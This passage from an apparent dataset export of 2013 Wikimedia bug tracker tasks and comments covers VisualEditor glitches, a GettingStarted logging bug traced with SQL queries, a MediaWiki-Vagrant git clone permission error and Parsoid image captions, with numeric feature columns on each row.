+… and gets displayed as such, in case you want to edit that otherwise-inexpliably-hidden bullet. Marking as INVALID (but yeah, eww at that wikitext).",,,1372295480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ma6pcpqiiyq3gvijprg,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+52211,VisualEditor: References prevent floats from being selected and edited,"screenshot
+
+When floats (like images or templates) are located at the same level as references, the blue rectangle of the references prevents the user from selecting (and editing) the floats. See attached screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11749}",Needs Triage,90.0,1372228380,1373164008.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-sgceljbbtlgbbpr3bdfh,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+251151,VisualEditor: References prevent floats from being selected and edited,"Entirely-confusingly, this is the same as bug 50395 (which is more detailed, so I'll up-merge this into that one). Sorry for the slow update.
+
+*** This bug has been marked as a duplicate of bug 50395 ***",,,1373164008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sgceljbbtlgbbpr3bdfh,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+52210,VisualEditor: Opening Page settings dialog doesn't close heading format drop-down,"screenshot
+
+Steps to reproduce:
+* Click on the heading format drop-down menu. Don't close it.
+* Click on the Page settings menu.
+
+Expected result:
+* The heading format drop-down is closed before the Page settings dialog shows up.
+
+Actual result:
+* The heading format drop-down remains open (and selectable) on top of the Page settings dialog (see attached screenshot).
+
+Observed in Firefox 21.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11748}",Needs Triage,90.0,1372227660,1373163131.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-z2wr7yxi5vylreuzml56,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+251095,VisualEditor: Opening Page settings dialog doesn't close heading format drop-down,"This is still true (and deliberate), but since our major re-vamp of how windows stack on top of one another, no longer an issue; closing as FIXED.",,,1373163131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z2wr7yxi5vylreuzml56,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+52207,VisualEditor: Image size parameter with spaces is ignored,"See [[testwiki:VisualEditor:Little or big]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372216200,1372216311.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-6xivramwe724jwphgukh,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+250900,VisualEditor: Image size parameter with spaces is ignored,"
+
+*** This bug has been marked as a duplicate of bug 49696 ***",,,1372216311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6xivramwe724jwphgukh,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52204,Logging broken for GettingStarted (page-save-success logged as page-impression),"**Author:** `swalling`
+
+**Description:**
+Looking at the logs for the latest GettingStarted schema (GettingStartedNavbar_5496876) I am not finding a page-save-success event since June 6th. 
+
+This may have something to do with the VisualEditor split test or maybe not. I am seeing very few events (28 total) of any kind being logged on enwiki after 2013-06-20 when logging for the VE split test was enabled. This is obviously wrong, since there were more than 150 revisions tagged as gettingstarted-edit yesterday alone.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372206060,1374273514.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-q3v5q4q6bifjgxghffaq,task_description,resolved,True,c1,2,False,False,True,-1,,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+250671,Logging broken for GettingStarted (page-save-success logged as page-impression),"Looks properly fixed with the 2013-07-18 rollout of wmf10 to enwiki that included this fix, plus and later that day the changes to restore GettingStarted after CentralAuth/SUL2 changed.
+
+SELECT LEFT( timestamp, 8), COUNT(*) FROM GettingStartedNavbar_5588671 WHERE wiki = ""enwiki"" AND event_action = ""page-save-success"" AND event_funnel = ""returnto"" GROUP BY 1;
+
++---------------------+----------+
+| LEFT( timestamp, 8) | COUNT(*) |
++---------------------+----------+
+| 20130702            |        1 |
+| 20130718            |       17 |
+| 20130719            |      235 |
++---------------------+----------+",,,1374273514,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+250664,Logging broken for GettingStarted (page-save-success logged as page-impression),"**swalling** wrote:
+
+https://gerrit.wikimedia.org/r/#/c/71575/ was scheduled to be deployed last week, but we flubbed a bit and it did not go out to 1.22wmf9 until today. 
+
+I am still seeing only one page-save-success in the returnto funnel as of today, so the patch not getting deployed may be the likely culprit.",,,1374090128,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+250657,Logging broken for GettingStarted (page-save-success logged as page-impression),"There are still no page-save-success + returnto events in prod, so there may be an RL issue.
+
+Re-opening until we're sure it's fixed.
+
+A relevant query is:
+
+SELECT COUNT(*) FROM GettingStartedNavbar_5588671 WHERE wiki = ""enwiki""
+AND event_action = ""page-save-success"" AND event_funnel = ""returnto"";",,,1373589867,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+250652,Logging broken for GettingStarted (page-save-success logged as page-impression),*** Bug 51208 has been marked as a duplicate of this bug. ***,,,1373589755,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+250648,Logging broken for GettingStarted (page-save-success logged as page-impression),"S's patch fixes the post-edit issue locally, which I believe is the same one I mentioned in comment 1.",,,1372823275,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+250644,Logging broken for GettingStarted (page-save-success logged as page-impression),"Change 71575 merged by jenkins-bot:
+postEdit needs to run before GS logging
+
+https://gerrit.wikimedia.org/r/71575",,,1372822882,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+250641,Logging broken for GettingStarted (page-save-success logged as page-impression),"Change 71575 had a related patch set uploaded by Spage:
+postEdit module needs to run before openTask
+
+https://gerrit.wikimedia.org/r/71575",,,1372740115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250637,Logging broken for GettingStarted (page-save-success logged as page-impression),"GettingStarted only logs page-save-success if wgPostEdit is true. On my local wiki I printed log messages from the two routines, and they sometimes came out:
+   about to log returnto page-impression
+   postEdit.js set wgPostEdit true!
+
+So the postEdit.js is running *after* openTask.js and that's why the wrong event is logged. On enwiki with resourceLoaderDebug cookie it did log a page-save-success event (go look at GettingStartedNavbar_5588671 where event_userId = 19275523), but without the RL debug in regular operation GS logs page-impression.
+
+RL loads postEdit first in its mw.loader.load() call at the end of the page body, but I don't know what RL's guarantee of code execution ordering is.
+
+Adding a dependency to ext.gettingstarted.openTask:
+        'mediawiki.action.view.postEdit', // need this to run prior
+
+seemed to fix it locally; another fix would be to use 
+        mw.hook( 'postEdit' ).add( function ()
+as VE does instead of changing the action from page-impression to page-save-success.
+
+I don't know how VE affects this, this was all clicking [Edit source].",,,1372739582,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+250632,Logging broken for GettingStarted (page-save-success logged as page-impression),"**swalling** wrote:
+
+(In reply to comment #1)
+> The latest GettingStartedNavbar table is GettingStartedNavbar_5588671
+> (easiest
+> way to see is SHOW TABLES).
+> 
+> However, that doesn't convincingly explain why the latest (by timestamp)
+> enwiki
+> entries in GettingStartedNavbar_5496876 are a long string of
+> page-save-attempt
+> (the last of which is on 2013-06-26), but the latest page-save-success is
+> 2013-06-06.
+> 
+> It could be a coincidence, but it's worth looking into.
+
+Okay, you were correct, this is worth looking in to. In the most recent logs (GettingStartedNavbar_5588671) it seems we are not logging any page-save-success events for the returnto funnel. Logging for other events in the returnto funnel seem normal, and page saves all gettingstarted funnels (copyedit, clarify, addlinks) are normal.",,,1372275305,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+250627,Logging broken for GettingStarted (page-save-success logged as page-impression),"**swalling** wrote:
+
+(In reply to comment #1)
+> The latest GettingStartedNavbar table is GettingStartedNavbar_5588671
+> (easiest
+> way to see is SHOW TABLES).
+> 
+
+Resolving as not a bug, accordingly, because there's no RESOLVED STEVENISDUMB. ;)",,,1372268511,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1
+250622,Logging broken for GettingStarted (page-save-success logged as page-impression),"The latest GettingStartedNavbar table is GettingStartedNavbar_5588671 (easiest way to see is SHOW TABLES).
+
+However, that doesn't convincingly explain why the latest (by timestamp) enwiki entries in GettingStartedNavbar_5496876 are a long string of page-save-attempt (the last of which is on 2013-06-26), but the latest page-save-success is 2013-06-06.
+
+It could be a coincidence, but it's worth looking into.",,,1372208974,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+52181,VisualEditor: weird behaviour on reload following save (JS not loading?),"Specifically, a lot of JS-dependent things simply don't seem to work. Mostly those are gadgets (no big deal) but on reload, section edit links take you to the source editor. This is probably the most critical; I can imagine a workflow in which a newbie makes a change in the VE, saves, sees something else to tweak, goes to edit...ack! Broken the site!
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372172160,1373162765.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-txtftm3ohgrpjqzazgnp,task_description,resolved,True,c1,2,False,False,True,-1,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+249455,VisualEditor: weird behaviour on reload following save (JS not loading?),"Yeah, sorry about this bug, and my tardiness in replying; this was bug 49620, which we fixed just before you posted this, but only deployed the next day.
+
+*** This bug has been marked as a duplicate of bug 49620 ***",,,1373162765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-txtftm3ohgrpjqzazgnp,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+52168,VisualEditor: Odd behavior using arrow keys for cursor movement,"Normally I would rewrite the bug description for bz, but JohnCD has given a very good demonstration on-wiki of strange cursor movements when navigating using arrow keys:
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=561499916#Some_funnies
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=561499916#Some_funnies",Needs Triage,90.0,1372159200,1373162663.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-yllnjqjrkuliux5dxtws,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+248776,VisualEditor: Odd behavior using arrow keys for cursor movement,"This is a duplicate of bug 48847, which we fixed last week; sorry for not getting to this bug until now.
+
+*** This bug has been marked as a duplicate of bug 48847 ***",,,1373162663,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yllnjqjrkuliux5dxtws,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+52147,"<nowiki> tags added to (valid) list in a template parameter, corrupting them","In general,
+
+{{foo
+bar = 
+* 1
+* 2
+* 3
+}}
+
+… is RT'ing to 
+
+{{foo
+bar = <nowiki>* 1
+* 2
+* 3</nowiki>
+}}
+
+Examples: 
+
+* https://en.wikipedia.org/w/index.php?title=Riddler&diff=561149660&oldid=561096940
+* https://en.wikipedia.org/w/index.php?title=Schuylar_Oordt&diff=561438828&oldid=561406705
+
+VisualEditor bug (to prevent dirty-DOMing and so hide this bug on RT) is bug 50070, but this will still occur when users edit the template unless this is recognised as valid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50070",Needs Triage,90.0,1372125540,1372127067.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bfsjo6ol2jmfu3gdf4ch,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+247575,"<nowiki> tags added to (valid) list in a template parameter, corrupting them","
+
+*** This bug has been marked as a duplicate of bug 50144 ***",,,1372127067,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bfsjo6ol2jmfu3gdf4ch,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52143,Missing root git config file when cloning,"After modifying site.pp and provisioning, I got:
+
+notice: /Stage[main]/Role::Eventlogging/Mediawiki::Extension[EventLogging]/Git::Clone[mediawiki/extensions/EventLogging]/Exec[git clone mediawiki/extensions/EventLogging]/returns: fatal: unable to access '/root/.config/git/config': Permission denied                                                                                                                       
+resulting in:
+
+err: /Stage[main]/Role::Eventlogging/Mediawiki::Extension[EventLogging]/Git::Clone[mediawiki/extensions/EventLogging]/Exec[git clone mediawiki/extensions/EventLogging]/returns: change from notrun to 0 failed: git clone https://gerrit.wikimedia.org/r/p/mediawiki/extensions/EventLogging.git /vagrant/mediawiki/extensions/EventLogging returned 128 instead of one of [0] at /tmp/vagrant-puppet/modules-0/git/manifests/clone.pp:40
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372121400,1373095093.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-tn6apoz6stp2eozgwscp,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+247419,Missing root git config file when cloning,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939564,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+247414,Missing root git config file when cloning,"As of git 1.8.1.1 and above, if the home directory can't be accessed, it results in a fatal error. That was the cause of the error. I fixed it in gerrit change 71165.",,,1373095093,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+247409,Missing root git config file when cloning,"Change 71165 had a related patch set uploaded by Ori.livneh:
+Set $HOME when git-cloning
+
+https://gerrit.wikimedia.org/r/71165",,,1372480935,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+247403,Missing root git config file when cloning,"Happens to me too. I did `git pull --ff-only` on my host, added ""include role::visualeditor"" to puppet/manifests/site.pp, and tried to run vagrant for the first time in weeks. I tried vagrant up, vagrant reload, and vagrant provision, and all failed early on with variations of the same error as above:
+
+[default] Running provisioner: puppet...
+Running Puppet with site.pp...
+info: Applying configuration version '1372472629'
+notice: /Stage[main]/Role::Visualeditor/Mediawiki::Extension[VisualEditor]/Git::Clone[mediawiki/extensions/VisualEditor]/Exec[git clone mediawiki/extensions/VisualEditor]/returns: fatal: unable to access '/root/.config/git/config': Permission denied
+
+I can `vagrant ssh` and the wiki is running on http://127.0.0.1:8080/ , but Special:Version says I don't have VisualEditor installed. I'm running Ubuntu 13.04.",,,1372474317,,PHID-USER-gbl4hfak3cfurt3c7skd,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1
+52142,"Images: Frameless images should not emit the ""caption"" as a <figcaption> even when it's set","[Not urgent.]
+
+Frameless images are special; the caption is meant to be the alt text, unless alt= is also set, in which case it's ignored - but Parsoid outputs a <figcaption> for images regardless of type (thumb, framed or frameless) - and doesn't output the alt at all, which is bug 45208.
+
+There's a hack in VisualEditor to ignore <figcaption>s for these as part of bug 50113, but Parsoid should fix these in due course.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1372119780,1372121678.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-dyhspvuz6dvlmjei7r7v,task_description,invalid,True,c1,2,True,False,True,-1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+247370,"Images: Frameless images should not emit the ""caption"" as a <figcaption> even when it's set",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934057,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-dyhspvuz6dvlmjei7r7v,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+247366,"Images: Frameless images should not emit the ""caption"" as a <figcaption> even when it's set",This is by design. See http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Images for documentation and rationales.,,,1372121678,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-dyhspvuz6dvlmjei7r7v,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+52116,VisualEditor adding spurious pipe separators to image syntax,"https://en.wikipedia.org/w/index.php?title=History_of_Delta_Air_Lines&curid=38607247&diff=561387547&oldid=557734729
+
+--------------------------
+**Version**: unspecified
